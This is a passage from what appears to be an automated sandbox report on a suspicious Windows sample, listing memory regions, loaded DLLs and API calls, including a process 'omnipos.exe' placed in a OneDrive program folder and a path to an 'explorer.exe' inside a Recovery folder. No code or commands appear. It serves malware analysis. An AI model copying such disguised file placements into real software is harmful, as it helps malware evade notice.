entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 8709 start_va = 0x6a0000 end_va = 0x71cfff monitored = 0 entry_point = 0x6acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8716 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8717 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8718 start_va = 0x1ace0000 end_va = 0x1ae5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 8721 start_va = 0x6a0000 end_va = 0x77efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 8799 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8800 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8826 start_va = 0x7fe94b10000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b10000" filename = "" Region: id = 8850 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8851 start_va = 0x7fe94ba0000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ba0000" filename = "" Region: id = 8871 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8902 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8903 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8915 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 8916 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 8955 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 8956 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 8957 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 8958 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 9007 start_va = 0x1ae60000 end_va = 0x1b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae60000" filename = "" Region: id = 9021 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9048 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9049 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 9050 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 9092 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9093 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9112 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9127 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9138 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9153 start_va = 0x2120000 end_va = 0x2181fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9154 start_va = 0x1ad60000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 9155 start_va = 0x1ade0000 end_va = 0x1ae5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ade0000" filename = "" Region: id = 9156 start_va = 0x1af10000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 9157 start_va = 0x1b040000 end_va = 0x1b0bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b040000" filename = "" Region: id = 9158 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9159 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9234 start_va = 0x1b0c0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 9235 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9236 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9237 start_va = 0x140000 end_va = 0x184fff monitored = 0 entry_point = 0x141064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9238 start_va = 0x140000 end_va = 0x184fff monitored = 0 entry_point = 0x141064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9239 start_va = 0x140000 end_va = 0x184fff monitored = 0 entry_point = 0x141064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9240 start_va = 0x140000 end_va = 0x184fff monitored = 0 entry_point = 0x141064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9241 start_va = 0x140000 end_va = 0x184fff monitored = 0 entry_point = 0x141064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9345 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9346 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9347 start_va = 0x1b240000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 9348 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9397 start_va = 0x1b520000 end_va = 0x1b61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 9398 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9399 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9478 start_va = 0x1b360000 end_va = 0x1b45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 9479 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9510 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9528 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9543 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9557 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9572 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 9654 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9655 start_va = 0x1b620000 end_va = 0x1b8f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9733 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9734 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 9735 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 9736 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 9737 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 9738 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 9739 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9740 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9741 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Thread: id = 376 os_tid = 0x5b4 [0262.807] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.056] EtwEventRegister (in: ProviderId=0x22b58a0, EnableCallback=0x1b04135c, CallbackContext=0x0, RegHandle=0x22b5880 | out: RegHandle=0x22b5880) returned 0x0 [0277.058] EtwEventRegister (in: ProviderId=0x22ba028, EnableCallback=0x1b0413ac, CallbackContext=0x0, RegHandle=0x22ba008 | out: RegHandle=0x22ba008) returned 0x0 [0278.551] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3f4140*=0xd8, lpdwindex=0x28e3e4 | out: lpdwindex=0x28e3e4) returned 0x0 [0279.851] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3f4140*=0xd8, lpdwindex=0x28e3e4) Thread: id = 461 os_tid = 0x83c Thread: id = 468 os_tid = 0x858 [0262.909] CoGetContextToken (in: pToken=0x1a90f3e0 | out: pToken=0x1a90f3e0) returned 0x800401f0 [0262.909] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 470 os_tid = 0x860 Thread: id = 474 os_tid = 0x878 [0278.204] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.205] CoGetContextToken (in: pToken=0x1b00f4b0 | out: pToken=0x1b00f4b0) returned 0x0 [0278.205] CObjectContext::QueryInterface () returned 0x0 [0278.205] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.205] Release () returned 0x0 [0278.205] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.206] CoUninitialize () [0288.826] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b00d8d8 | out: phkResult=0x1b00d8d8*=0x0) returned 0x2 [0288.827] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.847] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1b00e410, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe", lpFilePart=0x0) returned 0x3d Thread: id = 475 os_tid = 0x87c Thread: id = 502 os_tid = 0x8ec Thread: id = 517 os_tid = 0x928 Thread: id = 518 os_tid = 0x92c Thread: id = 557 os_tid = 0x9d8 [0281.362] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0281.363] CoGetContextToken (in: pToken=0x1b45f4d0 | out: pToken=0x1b45f4d0) returned 0x0 [0281.363] CObjectContext::QueryInterface () returned 0x0 [0281.363] CObjectContext::GetCurrentThreadType () returned 0x0 [0281.363] Release () returned 0x0 [0281.364] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0281.364] CoUninitialize () Process: id = "88" image_name = "omnipos.exe" filename = "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe" page_root = "0x223f7000" os_pid = "0x5c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "\"C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7338 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7339 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7340 start_va = 0x150000 end_va = 0x225fff monitored = 1 entry_point = 0x21d67e region_type = mapped_file name = "omnipos.exe" filename = "\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe") Region: id = 7341 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 7342 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7343 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7344 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7345 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7346 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7347 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7348 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7349 start_va = 0x460000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7350 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7351 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7352 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7428 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7429 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7430 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7443 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7444 start_va = 0xb0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7445 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 7639 start_va = 0x460000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7640 start_va = 0x5c0000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 7708 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7709 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7710 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7711 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7712 start_va = 0x640000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 7713 start_va = 0x640000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 7714 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 7818 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7819 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7855 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7856 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7857 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7858 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7859 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7983 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7984 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 7985 start_va = 0x7e0000 end_va = 0x967fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 7986 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7987 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7988 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7989 start_va = 0x970000 end_va = 0xaf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 7990 start_va = 0xb00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b00000" filename = "" Region: id = 7991 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7992 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7993 start_va = 0x460000 end_va = 0x52ffff monitored = 1 entry_point = 0x52d67e region_type = mapped_file name = "omnipos.exe" filename = "\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe") Region: id = 7994 start_va = 0x530000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 8210 start_va = 0x460000 end_va = 0x52ffff monitored = 1 entry_point = 0x52d67e region_type = mapped_file name = "omnipos.exe" filename = "\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe") Region: id = 8211 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8242 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8261 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8481 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8482 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8483 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8541 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8542 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8571 start_va = 0xe0000 end_va = 0xeffff monitored = 